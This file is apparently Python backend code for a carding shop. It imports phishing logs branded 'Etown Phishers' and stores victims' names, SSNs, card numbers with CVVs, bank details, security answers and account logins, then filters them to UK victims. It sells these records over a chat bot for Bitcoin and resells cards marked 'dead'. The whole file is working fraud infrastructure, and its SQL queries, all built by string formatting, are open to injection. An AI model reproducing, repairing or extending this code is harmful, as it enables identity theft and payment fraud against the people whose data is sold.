def getChat(self, uin):
try:
log_list = self.getLog()
query = "select id, uin, `time`, log_id, log_params, command from chat where uin=%s order by time asc, id asc" % uin
query_conn.execute(query)
f_list = query_conn.fetchall()
r_list = []
for f in f_list:
time = (datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=f[2])).strftime('%Y-%m-%d %H:%M:%S')
if f[5] != '':
message = f[5]
is_bot = False
else:
if f[3] in log_list:
if log_list[f[3]]['params'] > 0:
patterns = f[4].split('###')
message = log_list[f[3]]['content'] % tuple(patterns)
else:
message = log_list[f[3]]['content']
else:
message = f[4]
is_bot = True
r_list.append({'id': f[0], 'time': time, 'message': message, 'is_bot': is_bot})
return r_list
except:
print('get chat model error occurs.')
def get_pp_table(self, table_name = 'pp'):
try:
query = "select id, ip_address, email, password, location from `%s` where 1 order by id desc" % table_name
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
id = f[0]
ip = decrypt(f[1]).replace("| IP Address : ", "").replace("\n", "")
email = decrypt(f[2]).replace("| Email: ", "").replace("\n", "")
password = decrypt(f[3]).replace("| Password : "******"").replace("\n", "")
location = decrypt(f[4]).replace("| Location: ", "").replace("\n", "")
check = self.check_word([email, password])
if check == 'EXIST_BAD_WORD':
self.delete_row(table_name, id)
check = self.check_location(location)
if check == 'NOT_UK':
self.delete_row(table_name, id)
check, index = self.check_ip(ip, table_name, id)
if check == 'EXIST_IN_FULLZ' or check == 'EXIST_IN_PP':
self.delete_row(table_name, id)
except Exception as e:
print('FilterModule get %s list has any errors.' % table_name)
print(e)
def export_fullz(self, table_name='fullz'):
try:
result_text = ""
sample_text = "+ ------------- Etown Phishers -------------+\n+ ------------------------------------------+\n+ Personal Information\n| id: %s\n%s%s%s%s%s%s%s%s%s+ ------------------------------------------+\n+ Billing Information\n%s%s%s%s%s%s%s%s+ ------------------------------------------+\n+ Account Information\n%s%s+ ------------------------------------------+\n+ Victim Information\n%s%s%s%s%s+ ------------------------------------------+\n\n"
query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, id from `%s` where 1" % table_name
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
result_text += sample_text % (
f[24], decrypt(f[0]), decrypt(f[1]), decrypt(f[2]),
decrypt(f[3]), decrypt(f[4]), decrypt(f[5]), decrypt(f[6]),
decrypt(f[7]), decrypt(f[8]), decrypt(f[9]), decrypt(
f[10]), decrypt(f[11]), decrypt(f[12]), decrypt(f[13]),
decrypt(f[14]), decrypt(f[15]), decrypt(
f[16]), decrypt(f[17]), decrypt(f[18]), decrypt(
f[19]), decrypt(f[20]), decrypt(
f[21]), decrypt(f[22]), decrypt(f[23]))
self.set_file_content(result_text)
if self.delete_table == True:
query_conn.execute("delete from `%s`" % table_name)
conn.commit()
except Exception as e:
print('ExportModule export %s method has any errors.' % table_name)
print(e)
def getPP(self, where='1'):
query = "select id, email, password, ip_address, location, user_agent, browser, platform, status, lock_time, lock_customer, deposit_address from pp where %s" % where
query_conn.execute(query)
f_list = query_conn.fetchall()
r_list = []
for f in f_list:
r_list.append({'id': f[0], 'email': decrypt(f[1]), 'password': decrypt(f[2]), 'ip_address': decrypt(f[3]), 'location': decrypt(f[4]), 'user_agent': decrypt(f[5]), 'browser': decrypt(f[6]), 'platform': decrypt(f[7]), 'status': f[8], 'lock_time': f[9], 'lock_customer': f[10], 'deposit_address': f[11]})
return r_list
def getDeadFullz(self, where='1'):
query = "select id, full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type, status, lock_time, lock_customer, deposit_address from dead_fullz where %s" % where
query_conn.execute(query)
f_list = query_conn.fetchall()
r_list = []
for f in f_list:
r_list.append({'id': f[0], 'full_name': decrypt(f[1]), 'birth_date': decrypt(f[2]), 'address': decrypt(f[3]), 'zip': decrypt(f[4]), 'country': decrypt(f[5]), 'phone': decrypt(f[6]), 'ssn': decrypt(f[7]), 'secu_question': decrypt(f[8]), 'secu_answer': decrypt(f[9]), 'card_bin': decrypt(f[10]), 'card_bank': decrypt(f[11]), 'card_type': decrypt(f[12]), 'card_number': decrypt(f[13]), 'expire_date': decrypt(f[14]), 'cvv': decrypt(f[15]), 'account_number': decrypt(f[16]), 'sortcode': decrypt(f[17]), 'user_name': decrypt(f[18]), 'password': decrypt(f[19]), 'ip_address': decrypt(f[20]), 'location': decrypt(f[21]), 'user_agent': decrypt(f[22]), 'browser': decrypt(f[23]), 'platform': decrypt(f[24]), 'type': decrypt(f[25]), 'status': f[26], 'lock_time': f[27], 'lock_customer': f[28], 'deposit_address': f[29]})
return r_list
def getLog(self):
query = "select id, content, params from log where 1 "
query_conn.execute(query)
f_list = query_conn.fetchall()
r_list = {}
for f in f_list:
r_list[f[0]] = {'content': f[1], 'params': f[2]}
return r_list
def setUserBan(self, uin, ban):
if ban == 'true':
set_ban = 'Y'
else:
set_ban = 'N'
query = "update `user` set ban='%s' where uin=%s" % (set_ban, uin)
query_conn.execute(query)
conn.commit()
def getOrder(self, where='1'):
query = "select id, uin, `time`, product_type, product_id, btc, success, ongoing, chat_id, gbp, canceled from `order` where %s order by `time` desc" % where
query_conn.execute(query)
f_list = query_conn.fetchall()
r_list = []
for f in f_list:
time = (datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=f[2])).strftime('%Y-%m-%d %H:%M:%S')
r_list.append({'id': f[0], 'uin': f[1], 'time': time, 'product_type': f[3], 'product_id': f[4], 'btc': f[5], 'success': f[6], 'ongoing': f[7], 'chat_id': f[8], 'gbp': f[9], 'canceled': f[10]})
return r_list
def import_pp(self, table_name = 'pp'):
try:
pp_data_list = self.get_file_content()
for index, data in enumerate(pp_data_list):
try:
if data.index("Email: ") >= 0:
id, email, password, ip, location, user_agent, browser, platform = pp_data_list[index-1], pp_data_list[index], pp_data_list[index+1], pp_data_list[index+3], pp_data_list[index+4], pp_data_list[index+5], pp_data_list[index+6], pp_data_list[index+7]
ip_address = ip.replace("| IP Address : ", "").replace("\n", "")
eml = email.replace("| Email: ", "").replace("\n", "")
paswd = password.replace("| Password : "******"").replace("\n", "")
locat = location.replace("| Location: ", "").replace("\n", "")
print('--- %s ---' % eml)
email, password, ip, location, user_agent, browser, platform = encrypt(email).decode('utf-8'), encrypt(password).decode('utf-8'), encrypt(ip).decode('utf-8'), encrypt(location).decode('utf-8'), encrypt(user_agent).decode('utf-8'), encrypt(browser).decode('utf-8'), encrypt(platform).decode('utf-8')
# print('before check')
#check
self.filter.set_badword_mode('Not Equal')
check = self.filter.check_word([eml, paswd])
if check == 'EXIST_BAD_WORD':
print('%s has bad word' % eml)
continue
check = self.filter.check_location(locat)
if check == 'NOT_UK':
print('%s is not in United Kingdom' % eml)
continue
check, index = self.filter.check_ip(ip_address, table_name)
if check == 'EXIST_IN_FULLZ' or check == 'EXIST_IN_PP':
print('%s exist in pp or fullz' % eml)
continue
# print('before query')
# get id & query
try:
id = int(id.replace("| id : ", "").replace("\n", ""), 10)
query = "insert into `%s` (`id`, `email`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (table_name, id, email, password, ip, location, user_agent, browser, platform)
except:
id = ''
query = "insert into `%s` (`email`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (table_name, email, password, ip, location, user_agent, browser, platform)
# print(query)
query_conn.execute(query)
conn.commit()
insert_count = query_conn.rowcount
print("type=%s, id = %s, insert cont = %s -> Success" % (table_name, id, insert_count))
except:
# print('substring not found. index=%s, type=%s' % (index, table_name))
pass
except Exception as e:
print('ImportModule import %s method has any errors.' % table_name)
print(e)
def delete_row(self, table_name, id):
try:
if id > 0:
query = "delete from `%s` where id=%s" % (table_name, id)
query_conn.execute(query)
conn.commit()
return query_conn.rowcount
except Exception as e:
print('FilterModule delete row id=%s from table=%s has any errors.' % (id, table_name))
print(e)
def getUser(self, uin=''):
if uin == '':
query = "select uin, max(buy_time), max(ban), max(chat_time) from user group by uin"
else:
query = "select uin, buy_time, ban, chat_time from user where uin=%s order by id desc limit 1" % uin
query_conn.execute(query)
f_list = query_conn.fetchall()
r_list = []
for f in f_list:
buy_time = (datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=f[1])).strftime('%Y-%m-%d %H:%M:%S')
chat_time = (datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=f[3])).strftime('%Y-%m-%d %H:%M:%S')
r_list.append({'uin': f[0], 'time': chat_time, 'ban': f[2]})
r_list.sort(key=lambda item: item['time'], reverse=True)
return r_list
def get_payment_pp(customer_id, deposit_address):
order_id = 0
result_text = ""
sample_text = "_______________________\n\ PRODUCT ID :%5d /\n \ _________________ /\n+- Login Information -+\n+ --------------------+\n%s%s+ --------------------+\n%s%s%s%s%s+ --------------------+\n(IF YOU HAVE ANY ISSUES WITH YOUR PRODUCTS TYPE /support_uin TO CONTACT SUPPORT PLEASE NOTE YOU HAVE ONLY 5MINS PER ITEM TO REPORT INVALID TO SUPPORT!!!)\n\n"
query = "select email, password, ip_address, location, user_agent, browser, platform, id from pp where status='confirm' and lock_customer=%s and deposit_address='%s'" % (
customer_id, deposit_address)
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
if order_id == 0:
order_id = get_order(customer_id, 'PP', f[7])
result_text += sample_text % (f[7], decrypt(f[0]), decrypt(
f[1]), decrypt(f[2]), decrypt(f[3]), decrypt(f[4]), decrypt(
f[5]), decrypt(f[6]))
result_text = (
"_______________________\n\ ORDER ID :%6d /\n \ _________________ /\n"
% order_id) + result_text
return result_text
def log_pattern():
global LOG_PATTERNS
LOG_PATTERNS = {}
try:
query_conn.execute("select id, content, params from log where 1 ")
l_list = query_conn.fetchall()
for ptn in l_list:
LOG_PATTERNS[ptn[0]] = {
'content': '\n'.join(ptn[1].split('\\n')),
'params': ptn[2]
}
except:
print('thread log pattern error occurs.')
return
def export_pp(self, table_name='pp'):
try:
result_text = ""
sample_text = "+ ----------- Login Information ------------+\n+ ------------------------------------------+\n| id: %s\n%s%s+ ------------------------------------------+\n%s%s%s%s%s+ ------------------------------------------+\n\n"
query = "select email, password, ip_address, location, user_agent, browser, platform, id from `%s` where 1" % table_name
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
result_text += sample_text % (f[7], decrypt(f[0]), decrypt(
f[1]), decrypt(f[2]), decrypt(f[3]), decrypt(
f[4]), decrypt(f[5]), decrypt(f[6]))
self.set_file_content(result_text)
if self.delete_table == True:
query_conn.execute("delete from `%s`" % table_name)
conn.commit()
except Exception as e:
print('ExportModule export %s method has any errors.' % table_name)
print(e)
def get_payment_fullz(customer_id, deposit_address):
order_id = 0
result_text = ""
sample_text = "_______________________\n\ PRODUCT ID :%5d /\n \ _________________ /\n+ -- Etown Phishers --+\n+ --------------------+\n+ Personal Information\n%s%s%s%s%s%s%s%s%s+ --------------------+\n+ Billing Information\n%s%s%s%s%s%s%s%s+ --------------------+\n+ Account Information\n%s%s+ --------------------+\n+ Victim Information\n%s%s%s%s%s+ --------------------+\n(IF YOU HAVE ANY ISSUES WITH YOUR PRODUCTS TYPE /support_uin TO CONTACT SUPPORT PLEASE NOTE YOU HAVE ONLY 5MINS PER ITEM TO REPORT INVALID TO SUPPORT!!!)\n\n"
query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, id from fullz where status='confirm' and lock_customer=%s and deposit_address='%s'" % (
customer_id, deposit_address)
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
if order_id == 0:
order_id = get_order(customer_id, 'Fullz', f[24])
result_text += sample_text % (
f[24], decrypt(f[0]), decrypt(f[1]), decrypt(f[2]), decrypt(f[3]),
decrypt(f[4]), decrypt(f[5]), decrypt(f[6]), decrypt(f[7]),
decrypt(f[8]), decrypt(f[9]), decrypt(f[10]), decrypt(f[11]),
decrypt(f[12]), decrypt(f[13]), decrypt(f[14]), decrypt(f[15]),
decrypt(f[16]), decrypt(f[17]), decrypt(f[18]), decrypt(f[19]),
decrypt(f[20]), decrypt(f[21]), decrypt(f[22]), decrypt(f[23]))
result_text = (
"_______________________\n\ ORDER ID :%6d /\n \ _________________ /\n"
% order_id) + result_text
return result_text
def log_output(index,
command,
aimId,
flag,
result,
chats=[],
insert_command=True):
global LOG_FILES, LOG_DATABASE
time_now = int((datetime.datetime.now() -
datetime.datetime(1970, 1, 1)).total_seconds())
try:
if LOG_FILES == True:
sample_text = "index=>%s,time=>%s,command=>%s,aimId=>%s,flag=>%s,result=>%s@#@"
# file_name = "../../var/www/html/logs/" + datetime.datetime.now().strftime("%Y-%m-%d") + ".txt"
file_name = "logs/" + datetime.datetime.now().strftime(
"%Y-%m-%d") + ".txt"
result_text = sample_text % (index, datetime.datetime.now(
).strftime("%H:%M:%S"), command, aimId, flag, result)
with open(file_name, "a") as log_file:
log_file.write(result_text)
if LOG_DATABASE == True:
if insert_command == True:
query = "insert into `chat` (`uin`, `time`, `log_id`, `log_params`, `command`) values ('%s', '%s', '0', '', '/%s')" % (
aimId, time_now, command)
query_conn.execute(query)
conn.commit()
if len(chats) > 0:
for chat in chats:
if len(chat) > 1:
query = 'insert into `chat` (`uin`, `time`, `log_id`, `log_params`, `command`) values ("%s", "%s", "%s", "%s", "")' % (
aimId, time_now, chat[0], chat[1])
query_conn.execute(query)
conn.commit()
except:
print('thread log output error occurs.')
def get_fullz_table(self, table_name = 'fullz'):
try:
result_list = []
query = "select id, ip_address, card_number, full_name, address, secu_answer, location from `%s` where 1 order by id desc" % table_name
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
id = f[0]
ip = decrypt(f[1]).replace("| IP Address : ", "").replace("\n", "")
card = decrypt(f[2]).replace("| Card Number : ", "").replace("\n", "")
full_name = decrypt(f[3]).replace("| Full name : ", "").replace("\n", "")
address = decrypt(f[4]).replace("| Address : ", "").replace("\n", "")
secu_answer = decrypt(f[5]).replace("| Security Answer : ", "").replace("\n", "")
location = decrypt(f[6]).replace("| Location: ", "").replace("\n", "")
check = self.check_word([full_name, address, secu_answer])
if check == 'EXIST_BAD_WORD':
self.delete_row(table_name, id)
check = self.check_location(location)
if check == 'NOT_UK':
self.delete_row(table_name, id)
check = self.check_card(card)
if check == 'EXIST_IN_FULLZ':
self.delete_row(table_name, id)
check, index = self.check_ip(ip, table_name, id)
if check == 'EXIST_IN_FULLZ':
self.delete_row(table_name, id)
elif check == 'EXIST_IN_PP':
self.delete_row('pp', index)
return result_list
except Exception as e:
print('FilterModule get %s list has any errors.' % table_name)
print(e)
def process_payment_order(deposit):
# print(deposit)
id, bin_type, deposit_address, deposit_amount, paid_amount, paid_time, uin, start_time = deposit
time_now = int((datetime.datetime.now() -
datetime.datetime(1970, 1, 1)).total_seconds())
result_text = ""
try:
if bin_type == "Fullz":
result_text = get_payment_fullz(uin, deposit_address)
if result_text != "":
query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8], f[
9], f[10], f[11], f[12], f[13], f[14], f[15], f[
16], f[17], f[18], f[19], f[20], f[21], f[
22], f[23], f[24]
insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
full_name, birth_date, address, zip, country, phone,
ssn, secu_question, secu_answer, card_bin, card_bank,
card_type, card_number, expire_date, cvv,
account_number, sortcode, user_name, password, ip,
location, user_agent, browser, platform, type,
time_now)
query_conn.execute(insert_query)
conn.commit()
insert_count = query_conn.rowcount
log_output(
'207', 'thread', uin, 'success',
('%d insert dead_fullz status=dead' % insert_count),
[], False)
query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('208', 'thread', uin, 'success',
('%d delete fullz' % delete_count), [], False)
elif bin_type == "dead_fullz":
result_text = get_payment_dead_fullz(uin, deposit_address)
if result_text != "":
query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('210', 'thread', uin, 'success',
('%d delete dead_fullz' % delete_count), [],
False)
elif bin_type == "PP":
result_text = get_payment_pp(uin, deposit_address)
if result_text != "":
query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('211', 'thread', uin, 'success',
('%d delete pp' % delete_count), [], False)
else:
result_text = ""
if (bin_type == "Fullz" or bin_type == "dead_fullz"
or bin_type == "PP") and result_text != "":
# `order` success = 'Y'
query = "update `order` set `success`='Y' where uin=%s and product_type=%s and btc=%s and ongoing='Y'" % (
uin, bin_type, deposit_amount)
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output('225', 'thread', uin, 'success',
('%d update order success=Y' % update_count), [],
False)
# `deposit` delete
query = "delete from deposit where id=%s" % id
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('212', 'thread', uin, 'success',
('%d delete deposit' % delete_count), [], False)
except:
print('process payment & order & deposit in thread error occurs.')
return result_text
def main():
try:
time_now = int((datetime.datetime.now() -
datetime.datetime(1970, 1, 1)).total_seconds())
pre_process()
# each deposit
query_conn.execute("select * from deposit where 1")
d_list = query_conn.fetchall()
for deposit in d_list:
id, bin_type, deposit_address, deposit_amount, paid_amount, paid_time, uin, start_time = deposit
time_now = int((datetime.datetime.now() -
datetime.datetime(1970, 1, 1)).total_seconds())
transaction_info = blockexplorer.get_address(
address=deposit_address)
tran = transaction_info.transactions
result_text = ""
if len(tran) > 0 and tran[0].time > time_now - 7200:
t_list = transaction_info.transactions[0].outputs
t_time = transaction_info.transactions[0].time
for t in t_list:
if t.address == deposit_address:
amount = int(t.value)
if amount > 0:
if int(amount) >= int(float(deposit_amount) * 100000000):
if bin_type == "Fullz":
result_text = get_payment_fullz(
uin, deposit_address)
query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
0], f[1], f[2], f[3], f[4], f[5], f[6], f[
7], f[8], f[9], f[10], f[11], f[12], f[
13], f[14], f[15], f[16], f[17], f[
18], f[19], f[20], f[21], f[
22], f[23], f[24]
insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
full_name, birth_date, address, zip,
country, phone, ssn, secu_question,
secu_answer, card_bin, card_bank,
card_type, card_number, expire_date, cvv,
account_number, sortcode, user_name,
password, ip, location, user_agent,
browser, platform, type, time_now)
query_conn.execute(insert_query)
conn.commit()
insert_count = query_conn.rowcount
log_output(
'207', 'thread', uin, 'success',
('%d insert dead_fullz status=dead' %
insert_count), [], False)
query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('208', 'thread', uin, 'success',
('%d delete fullz' % delete_count),
[], False)
elif bin_type == "dead_fullz":
result_text = get_payment_dead_fullz(
uin, deposit_address)
query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output(
'210', 'thread', uin, 'success',
('%d delete dead_fullz' % delete_count),
[], False)
elif bin_type == "PP":
result_text = get_payment_pp(uin, deposit_address)
query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('211', 'thread', uin, 'success',
('%d delete pp' % delete_count), [],
False)
# `order` success = 'Y'
query = "update `order` set `success`='Y' where uin=%s and product_type='%s' and btc=%s and ongoing='Y'" % (
uin, bin_type, deposit_amount)
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output(
'225', 'thread', uin, 'success',
('%d update order success=Y' % update_count),
[], False)
# `deposit` delete
query = "delete from deposit where id=%s" % id
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('212', 'thread', uin, 'success',
('%d delete deposit' % delete_count),
[], False)
else:
if paid_amount > 0 and t_time != paid_time:
total_paid = int(amount + paid_amount * 100000000)
if total_paid >= int(
float(deposit_amount) * 100000000):
if bin_type == "Fullz":
result_text = get_payment_fullz(
uin, deposit_address)
query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
f_list = query_conn.fetchall()
for f in f_list:
full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
0], f[1], f[2], f[3], f[4], f[5], f[
6], f[7], f[8], f[9], f[10], f[
11], f[12], f[13], f[14], f[
15], f[16], f[17], f[
18], f[19], f[
20], f[21], f[
22], f[
23], f[
24]
insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
full_name, birth_date, address,
zip, country, phone, ssn,
secu_question, secu_answer,
card_bin, card_bank, card_type,
card_number, expire_date, cvv,
account_number, sortcode,
user_name, password, ip, location,
user_agent, browser, platform,
type, time_now)
query_conn.execute(insert_query)
conn.commit()
insert_count = query_conn.rowcount
log_output(
'213', 'thread', uin, 'success',
('%d insert dead_fullz status=dead'
% insert_count), [], False)
query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output(
'214', 'thread', uin, 'success',
('%d delete fullz' % delete_count),
[], False)
elif bin_type == "dead_fullz":
result_text = get_payment_dead_fullz(
uin, deposit_address)
query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output('216', 'thread', uin,
'success',
('%d delete dead_fullz' %
delete_count), [], False)
elif bin_type == "PP":
result_text = get_payment_pp(
uin, deposit_address)
query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
deposit_address, uin)
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output(
'217', 'thread', uin, 'success',
('%d delete pp' % delete_count),
[], False)
# `order` success = 'Y'
query = "update `order` set `success`='Y' where uin=%s and product_type='%s' and btc=%s and ongoing='Y'" % (
uin, bin_type, deposit_amount)
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output('226', 'thread', uin, 'success',
('%d update order success=Y' %
update_count), [], False)
# `deposit` delete
query = "delete from deposit where id=%s" % id
query_conn.execute(query)
conn.commit()
delete_count = query_conn.rowcount
if (delete_count > 0):
log_output(
'218', 'thread', uin, 'success',
('%d delete deposit' % delete_count),
[], False)
else:
pay_amount = "{:.8f}".format(total_paid)
query = "update deposit set paid_amount=%s where id=%s" % (
pay_amount, id)
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output(
'219', 'thread', uin, 'success',
('update paid_amount=%s deposit id=%s'
% (pay_amount, id)), [], False)
result_text = LOG_PATTERNS[39]['content'] % (
deposit_amount, pay_amount) #39
else:
pay_amount = "{:.8f}".format(
float(amount / 100000000))
# rest_amount = "{:.8f}".format(float(deposit_amount) - float(amount / 100000000))
query = "update deposit set paid_amount=%s, paid_time=%s where id=%s" % (
pay_amount, t_time, id)
query_conn.execute(query)
conn.commit()
update_count = query_conn.rowcount
if (update_count > 0):
log_output(
'220', 'thread', uin, 'success',
('update paid_amount=%s deposit id=%s' %
(pay_amount, id)), [], False)
if paid_time == 0:
result_text = LOG_PATTERNS[40]['content'] % (
deposit_amount, pay_amount) #40
else:
# log_output('221', 'thread', uin, 'fail', 'not payment')
# print("didn't find payment.")
pass
else:
# log_output('222', 'thread', uin, 'fail', 'not payment')
# print("Didn't find payment")
pass
if result_text != "":
log_output('223', 'thread', uin, 'success', 'not payment',
[[0, result_text]], False)
bot.send_im(target=uin, message=result_text)
except Exception as e:
print('thread main error occurs.')
print(e)
traceback.print_exc()
def get_order(customer_id, product_type, product_id):
query = "select id from `order` where uin=%s and product_type='%s' and product_id like '%s' order by id desc" % (
str(customer_id), product_type, ('%' + str(product_id) + '%'))
query_conn.execute(query)
f_list = query_conn.fetchone()
return f_list[0]
def import_fullz(self, table_name = 'fullz'):
try:
fullz_data_list = self.get_file_content()
for index, data in enumerate(fullz_data_list):
try:
if data.index("Card BIN : ") >= 0:
id, full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform = fullz_data_list[index-12], fullz_data_list[index-11], fullz_data_list[index-10], fullz_data_list[index-9], fullz_data_list[index-8], fullz_data_list[index-7], fullz_data_list[index-6], fullz_data_list[index-5], fullz_data_list[index-4], fullz_data_list[index-3], fullz_data_list[index], fullz_data_list[index+1], fullz_data_list[index+2], fullz_data_list[index+3], fullz_data_list[index+4], fullz_data_list[index+5], fullz_data_list[index+6], fullz_data_list[index+7], fullz_data_list[index+10], fullz_data_list[index+11], fullz_data_list[index+14], fullz_data_list[index+15], fullz_data_list[index+16], fullz_data_list[index+17], fullz_data_list[index+18]
ip_address = ip.replace("| IP Address : ", "").replace("\n", "")
card = card_number.replace("| Card Number : ", "").replace("\n", "")
fullname = full_name.replace("| Full name : ", "").replace("\n", "")
addres = address.replace("| Address : ", "").replace("\n", "")
security_answer = secu_answer.replace("| Security Answer : ", "").replace("\n", "")
locat = location.replace("| Location: ", "").replace("\n", "")
print('--- %s ---' % fullname)
# 1s sleep
time.sleep(5)
bin1 = card_bin.replace("| Card BIN : ", "").replace("\n", "")
# print('<--- bin : %s' % bin1)
url = "https://lookup.binlist.net/" + bin1
bin_data = requests.get(url)
# print('bin : %s --->' % bin_data)
bin_data = bin_data.json()
type = bin_data['type']
type = encrypt(type).decode('utf-8')
